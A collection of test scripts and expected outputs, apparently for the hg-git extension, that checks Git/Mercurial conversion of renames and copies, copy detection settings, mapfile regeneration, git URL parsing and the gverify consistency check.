$ hg mv beta epsilon
$ echo 16 >> epsilon
$ hg ci -m "delta/epsilon"
$ hg export .
# HG changeset patch
# User test
# Date 0 0
# Thu Jan 01 00:00:00 1970 +0000
# Node ID c84c4d95bbe6f146c5193dcf348fee3bb2bfb186
# Parent edad41eac39c7332b5981d564157cc59a46759a9
delta/epsilon
diff --git a/gamma b/delta
copy from gamma
copy to delta
--- a/gamma
+++ b/delta
@@ -11,3 +11,4 @@
11
13
14
+15
diff --git a/beta b/epsilon
rename from beta
rename to epsilon
--- a/beta
+++ b/epsilon
@@ -10,3 +10,4 @@
10
11
12
+16
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 2 commits with 2 trees and 3 blobs
updating reference refs/heads/master
$ cd ../gitrepo
$ git log master --pretty=oneline
5f2948d029693346043f320620af99a615930dc4 delta/epsilon
bbd2ec050f7fbc64f772009844f7d58a556ec036 gamma2
50d116676a308b7c22935137d944e725d2296f2a remove submodule and rename back
59fb8e82ea18f79eab99196f588e8948089c134f rename and add submodule
f95497455dfa891b4cd9b524007eb9514c3ab654 beta renamed back
055f482277da6cd3dd37c7093d06983bad68f782 beta renamed
d7f31298f27df8a9226eddb1e4feb96922c46fa5 move submodule
c610256cb6959852d9e70d01902a06726317affc add submodule
e1348449e0c3a417b086ed60fc13f068d4aa8b26 gamma
cc83241f39927232f690d370894960b0d1943a0e beta
938bb65bb322eb4a3558bec4cdc8a680c4d1794c alpha
Make sure the right metadata is stored
$ git cat-file commit "master^"
tree 0adbde18545845f3b42ad1a18939ed60a9dec7a8
parent 50d116676a308b7c22935137d944e725d2296f2a
author test <none@none> 0 +0000
committer test <none@none> 0 +0000
HG:rename-source hg
gamma2
$ git cat-file commit master
tree f8f32f4e20b56a5a74582c6a5952c175bf9ec155
parent bbd2ec050f7fbc64f772009844f7d58a556ec036
author test <none@none> 0 +0000
committer test <none@none> 0 +0000
HG:rename gamma:delta
HG:rename beta:epsilon
delta/epsilon
Now make another clone and compare the hashes
$ cd ..
$ hg clone -q gitrepo hgrepo2
$ cd hgrepo2
$ hg book master -qf
$ hg export master
# HG changeset patch
# User test
# Date 0 0
# Thu Jan 01 00:00:00 1970 +0000
# Node ID 8623d5155b015112f9ea55e0520fef982e4b488a
# Parent ae4f6d98d5bce684ec6ac796b8fd3319293b4264
delta/epsilon
diff --git a/gamma b/delta
copy from gamma
copy to delta
--- a/gamma
+++ b/delta
@@ -11,3 +11,4 @@
11
13
14
+15
diff --git a/beta b/epsilon
rename from beta
rename to epsilon
--- a/beta
+++ b/epsilon
@@ -10,3 +10,4 @@
10
11
12
+16
Regenerate the Git metadata and compare the hashes
$ hg gclear
clearing out the git cache data
$ hg gexport
$ cd .hg/git
$ git log master --pretty=oneline
a8febfd5b0396340f953924ea982b4a86a26bed3 delta/epsilon
dbda9582869f680cccbaebc680edd627a8fbc000 gamma2
15a10a2040f8f50b2d0f4f97bbffd6f05da07675 remove submodule and rename back
6dbd4a46e0da12500768f6963313d35fd19b8191 rename and add submodule
c2d6447a571e55aba88ed437051c81724500434d beta renamed back
0ea26deff913d7e9701bed3726ebf4686d9cf0cc beta renamed
8327069bf38e4ce8e8cf776a6d68fa151441916b move submodule
a49063ec760fa65a5aaf47f298a13222a0e3874d add submodule
00d2f34d2f9e2230ed49343b2b3eb14637b16c2e gamma
e3ddc25bf9b3a6a00e4379673ee2d9d6bbef720e beta
8557a753ca442f07736d74570a9cfebde4bf02e9 alpha
Test findcopiesharder
$ cd $TESTTMP
$ git init -q gitcopyharder
$ cd gitcopyharder
$ cat >> file0 << EOF
> 1
> 2
> 3
> 4
> 5
> EOF
$ git add file0
$ fn_git_commit -m file0
$ cp file0 file1
$ git add file1
$ fn_git_commit -m file1
$ cp file0 file2
$ echo 6 >> file2
$ git add file2
$ fn_git_commit -m file2
$ cd ..
Clone without findcopiesharder does not find copies from unmodified files
$ hg clone gitcopyharder hgnocopyharder
importing git objects into hg
updating to branch default
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgnocopyharder export 'desc(file1)'::'desc(file2)'
# HG changeset patch
# User test <test@example.org>
# Date 1167609621 0
# Mon Jan 01 00:00:21 2007 +0000
# Node ID 2e1fd38583278f0b6ede71d0f913f02ff3e14a36
# Parent 3557dd9e8accc08148642bb4d8b2a4028e85f1f9
file1
diff --git a/file1 b/file1
new file mode 100644
--- /dev/null
+++ b/file1
@@ -0,0 +1,5 @@
+1
+2
+3
+4
+5
# HG changeset patch
# User test <test@example.org>
# Date 1167609622 0
# Mon Jan 01 00:00:22 2007 +0000
# Node ID 6b935af41daea1bf80d299ea139fab32c937e2b0
# Parent 2e1fd38583278f0b6ede71d0f913f02ff3e14a36
file2
diff --git a/file2 b/file2
new file mode 100644
--- /dev/null
+++ b/file2
@@ -0,0 +1,6 @@
+1
+2
+3
+4
+5
+6
findcopiesharder finds copies from unmodified files if similarity is met
$ hg --config git.findcopiesharder=true clone gitcopyharder hgcopyharder0
importing git objects into hg
updating to branch default
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgcopyharder0 export 'desc(file1)'::'desc(file2)'
# HG changeset patch
# User test <test@example.org>
# Date 1167609621 0
# Mon Jan 01 00:00:21 2007 +0000
# Node ID 822f61b91c7d74a67114314c5f6b078d9de4f3ac
# Parent 3557dd9e8accc08148642bb4d8b2a4028e85f1f9
file1
diff --git a/file0 b/file1
copy from file0
copy to file1
# HG changeset patch
# User test <test@example.org>
# Date 1167609622 0
# Mon Jan 01 00:00:22 2007 +0000
# Node ID 6827e4ffec1b7f3e8b0e96a995adcc5fce4f8e8b
# Parent 822f61b91c7d74a67114314c5f6b078d9de4f3ac
file2
diff --git a/file0 b/file2
copy from file0
copy to file2
--- a/file0
+++ b/file2
@@ -3,3 +3,4 @@
3
4
5
+6
$ hg --config git.findcopiesharder=true --config git.similarity=95 clone gitcopyharder hgcopyharder1
importing git objects into hg
updating to branch default
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgcopyharder1 export 'desc(file1)'::'desc(file2)'
# HG changeset patch
# User test <test@example.org>
# Date 1167609621 0
# Mon Jan 01 00:00:21 2007 +0000
# Node ID 822f61b91c7d74a67114314c5f6b078d9de4f3ac
# Parent 3557dd9e8accc08148642bb4d8b2a4028e85f1f9
file1
diff --git a/file0 b/file1
copy from file0
copy to file1
# HG changeset patch
# User test <test@example.org>
# Date 1167609622 0
# Mon Jan 01 00:00:22 2007 +0000
# Node ID 481884f836b7ce63906ad6875ac53b5bc5df134c
# Parent 822f61b91c7d74a67114314c5f6b078d9de4f3ac
file2
diff --git a/file2 b/file2
new file mode 100644
--- /dev/null
+++ b/file2
@@ -0,0 +1,6 @@
+1
+2
+3
+4
+5
+6
Config values out of range
$ hg --config git.similarity=999 clone gitcopyharder hgcopyharder2
importing git objects into hg
abort: git.similarity must be between 0 and 100
[255]
$ hg --config git.renamelimit=-5 clone gitcopyharder hgcopyharder2
importing git objects into hg
abort: git.renamelimit must be non-negative
[255]

View File

@ -1,32 +0,0 @@
This test shows how dulwich fails to convert a commit accepted by hg.
In the real world case, it was a hand edit by the user to change the
timezone field in an export. However, if it is good enough for hg, we
have to make it good enough for git.
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hgrepo
$ cd hgrepo
$ touch beta
$ hg add beta
$ fn_hg_commit -m "test commit"
$ cat >patch2 <<EOF
> # HG changeset patch
> # User J. User <juser@example.com>
> # Date 1337962044 25201
> # Node ID 1111111111111111111111111111111111111111
> # Parent 0000000000000000000000000000000000000000
>
> Patch with sub-minute time zone
> diff --git a/alpha b/alpha
> new file mode 100644
> --- /dev/null
> +++ b/alpha
> @@ -0,0 +1,1 @@
> +alpha
> EOF
$ hg import patch2
applying patch2
$ hg gexport

View File

@ -1,63 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ mkdir d1
$ echo a > d1/f1
$ echo b > d1/f2
$ git add d1/f1 d1/f2
$ fn_git_commit -m initial
$ mkdir d2
$ git mv d1/f2 d2/f2
$ fn_git_commit -m 'rename'
$ rm -r d1
$ echo c > d1
$ git add --all d1
$ fn_git_commit -m 'replace a dir with a file'
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg log --template 'adds: {file_adds}\ndels: {file_dels}\n'
adds: d1
dels: d1/f1
adds: d2/f2
dels: d1/f2
adds: d1/f1 d1/f2
dels:
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 3 commits with 6 trees and 3 blobs
$ cd ..
$ git --git-dir=gitrepo2 log --pretty=medium
commit d16fb6b69bb183a673483b4d239c3ecd1c5476ec
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
replace a dir with a file
commit 5b24ce288cfde71c483834f3b2b62aa5bcb05a43
Author: test <test@example.org>
Date: Mon Jan 1 00:00:11 2007 +0000
rename
commit 9f99e4bc96145e874b20c616cd8824b6e74f9fc7
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
initial

View File

@ -1,65 +0,0 @@
$ disable treemanifest
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ touch a
$ git add a
$ fn_git_commit -m a
$ echo >> a
$ fn_git_commit -am a2
$ git log --oneline
9da56a5 a2
ad4fd0d a
$ cd ..
$ hg clone -q gitrepo hgrepo
$ cd hgrepo
$ hg log -G -T '{extras % "{extra}\n"}'
@ branch=default
convert_revision=9da56a563fafade1a5b50ae0c01292f91cd4ce34
hg-git-rename-source=git
o branch=default
convert_revision=ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9
hg-git-rename-source=git
$ cd ..
$ hg clone -q hgrepo hgrepo2
Generate git-mapfile for a fresh repo
$ cd hgrepo2
$ test -f .hg/git-mapfile
[1]
$ hg git-updatemeta
$ cat .hg/git-mapfile | sort
9da56a563fafade1a5b50ae0c01292f91cd4ce34 f008e266042afb83012cda1e2cd65d108a51068f
ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9 5b699970cd13b5f95f6af5f32781d80cfa2e813b
Add a new commit to git
$ cd ../gitrepo
$ echo >> a
$ fn_git_commit -am a3
$ git log --oneline -n 1
1fc117f a3
$ cd ../hgrepo
$ hg pull -q
Update git-mapfile for a repo
$ cd ../hgrepo2
$ hg pull -q
$ hg git-updatemeta
$ cat .hg/git-mapfile | sort
1fc117f64bf9ee3ae9b76e00d9cead51bce91e97 82e8585c3e4aa0dc511fc1c38c7382e4c728e58c
9da56a563fafade1a5b50ae0c01292f91cd4ce34 f008e266042afb83012cda1e2cd65d108a51068f
ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9 5b699970cd13b5f95f6af5f32781d80cfa2e813b
# Create a new commit, verify that git-updatemeta does not crash even though it
# does not have commit extras.
$ cd ../hgrepo2
$ touch c
$ hg ci -Aqm c
$ hg git-updatemeta
$ cat .hg/git-mapfile | sort
1fc117f64bf9ee3ae9b76e00d9cead51bce91e97 82e8585c3e4aa0dc511fc1c38c7382e4c728e58c
9da56a563fafade1a5b50ae0c01292f91cd4ce34 f008e266042afb83012cda1e2cd65d108a51068f
ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9 5b699970cd13b5f95f6af5f32781d80cfa2e813b

View File

@ -1,111 +0,0 @@
from __future__ import absolute_import
import shutil
import sys
import tempfile
from edenscm.mercurial import commands, hg, ui
from hghave import require
try:
from edenscm.hgext.hggit.git_handler import GitHandler
except ImportError:
print("skipped: missing feature: dulwich")
sys.exit(80)
class TestUrlParsing(object):
def setUp(self):
# create a test repo location.
self.tmpdir = tempfile.mkdtemp("hg-git_url-test")
commands.init(ui.ui(), self.tmpdir)
repo = hg.repository(ui.ui(), self.tmpdir)
self.handler = GitHandler(repo, ui.ui())
def tearDown(self):
# remove the temp repo
shutil.rmtree(self.tmpdir)
def assertEqual(self, l, r):
print("%% expect %r" % (r,))
print(l)
assert l == r
def test_ssh_github_style_slash(self):
url = "git+ssh://git@github.com/webjam/webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "/webjam/webjam.git")
self.assertEqual(client.host, "git@github.com")
def test_ssh_github_style_colon_number_starting_username(self):
url = "git+ssh://git@github.com:42qu/vps.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "42qu/vps.git")
self.assertEqual(client.host, "git@github.com")
def test_ssh_github_style_colon(self):
url = "git+ssh://git@github.com:webjam/webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "webjam/webjam.git")
self.assertEqual(client.host, "git@github.com")
def test_ssh_heroku_style(self):
url = "git+ssh://git@heroku.com:webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "webjam.git")
self.assertEqual(client.host, "git@heroku.com")
# also test that it works even if heroku isn't in the name
url = "git+ssh://git@compatible.com:webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "webjam.git")
self.assertEqual(client.host, "git@compatible.com")
def test_ssh_heroku_style_with_trailing_slash(self):
# some versions of mercurial add a trailing slash even if
# the user didn't supply one.
url = "git+ssh://git@heroku.com:webjam.git/"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "webjam.git")
self.assertEqual(client.host, "git@heroku.com")
def test_heroku_style_with_port(self):
url = "git+ssh://git@heroku.com:999:webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "webjam.git")
self.assertEqual(client.host, "git@heroku.com")
self.assertEqual(client.port, "999")
def test_gitdaemon_style(self):
url = "git://github.com/webjam/webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "/webjam/webjam.git")
try:
self.assertEqual(client._host, "github.com")
except AttributeError:
self.assertEqual(client.host, "github.com")
def test_ssh_github_style_slash_with_port(self):
url = "git+ssh://git@github.com:10022/webjam/webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "/webjam/webjam.git")
self.assertEqual(client.host, "git@github.com")
self.assertEqual(client.port, "10022")
def test_gitdaemon_style_with_port(self):
url = "git://github.com:19418/webjam/webjam.git"
client, path = self.handler.get_transport_and_path(url)
self.assertEqual(path, "/webjam/webjam.git")
try:
self.assertEqual(client._host, "github.com")
except AttributeError:
self.assertEqual(client.host, "github.com")
self.assertEqual(client._port, "19418")
if __name__ == "__main__":
tc = TestUrlParsing()
for test in sorted([t for t in dir(tc) if t.startswith("test_")]):
tc.setUp()
getattr(tc, test)()
tc.tearDown()

View File

@ -1,46 +0,0 @@
% expect '/webjam/webjam.git'
/webjam/webjam.git
% expect 'github.com'
github.com
% expect '/webjam/webjam.git'
/webjam/webjam.git
% expect 'github.com'
github.com
% expect '19418'
19418
% expect 'webjam.git'
webjam.git
% expect 'git@heroku.com'
git@heroku.com
% expect '999'
999
% expect 'webjam/webjam.git'
webjam/webjam.git
% expect 'git@github.com'
git@github.com
% expect '42qu/vps.git'
42qu/vps.git
% expect 'git@github.com'
git@github.com
% expect '/webjam/webjam.git'
/webjam/webjam.git
% expect 'git@github.com'
git@github.com
% expect '/webjam/webjam.git'
/webjam/webjam.git
% expect 'git@github.com'
git@github.com
% expect '10022'
10022
% expect 'webjam.git'
webjam.git
% expect 'git@heroku.com'
git@heroku.com
% expect 'webjam.git'
webjam.git
% expect 'git@compatible.com'
git@compatible.com
% expect 'webjam.git'
webjam.git
% expect 'git@heroku.com'
git@heroku.com

View File

@ -1,64 +0,0 @@
Other tests make sure that gverify passes. This makes sure that gverify detects
inconsistencies. Since hg-git is ostensibly correct, we artificially create
inconsistencies by placing different Mercurial and Git repos in the right spots.
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo normalf > normalf
$ echo missingf > missingf
$ echo differentf > differentf
(executable in git, non-executable in hg)
$ echo exef > exef
$ chmod +x exef
(symlink in hg, regular file in git)
equivalent to 'echo -n foo > linkf', but that doesn't work on OS X
$ printf foo > linkf
$ git add normalf missingf differentf exef linkf
$ fn_git_commit -m 'add files'
$ cd ..
$ hg init hgrepo
$ cd hgrepo
$ echo normalf > normalf
$ echo differentf2 > differentf
$ echo unexpectedf > unexpectedf
$ echo exef > exef
$ ln -s foo linkf
$ hg add normalf differentf unexpectedf exef linkf
$ fn_hg_commit -m 'add files'
$ git clone --mirror ../gitrepo .hg/git
Cloning into bare repository '.hg/git'...
done.
$ echo "`cd ../gitrepo && git rev-parse HEAD` `hg log -r . --template '{node}'`" >> .hg/git-mapfile
$ hg gverify
verifying rev 3f1601c3cf54 against git commit 039c1cd9fdda382c9d1e8ec85de6b5b59518ca80
difference in: differentf
file has different flags: exef (hg '', git 'x')
file has different flags: linkf (hg 'l', git '')
file found in git but not hg: missingf
file found in hg but not git: unexpectedf
[1]
$ echo newf > newf
$ hg add newf
$ fn_hg_commit -m 'new hg commit'
$ hg gverify
abort: no git commit found for rev 4e582b4eb862
(if this is an octopus merge, verify against the last rev)
[255]
invalid git SHA
$ echo "ffffffffffffffffffffffffffffffffffffffff `hg log -r . --template '{node}'`" >> .hg/git-mapfile
$ hg gverify
abort: git equivalent ffffffffffffffffffffffffffffffffffffffff for rev 4e582b4eb862 not found!
[255]
git SHA is not a commit
$ echo new2 >> newf
$ fn_hg_commit -m 'new hg commit 2'
this gets the tree pointed to by the commit at HEAD
$ echo "`cd ../gitrepo && git show --format=%T HEAD | head -n 1` `hg log -r . --template '{node}'`" >> .hg/git-mapfile
$ hg gverify
abort: git equivalent f477b00e4a9907617f346a529cc0fe9ba5d6f6d3 for rev 5c2eb98af3e2 is not a commit!
[255]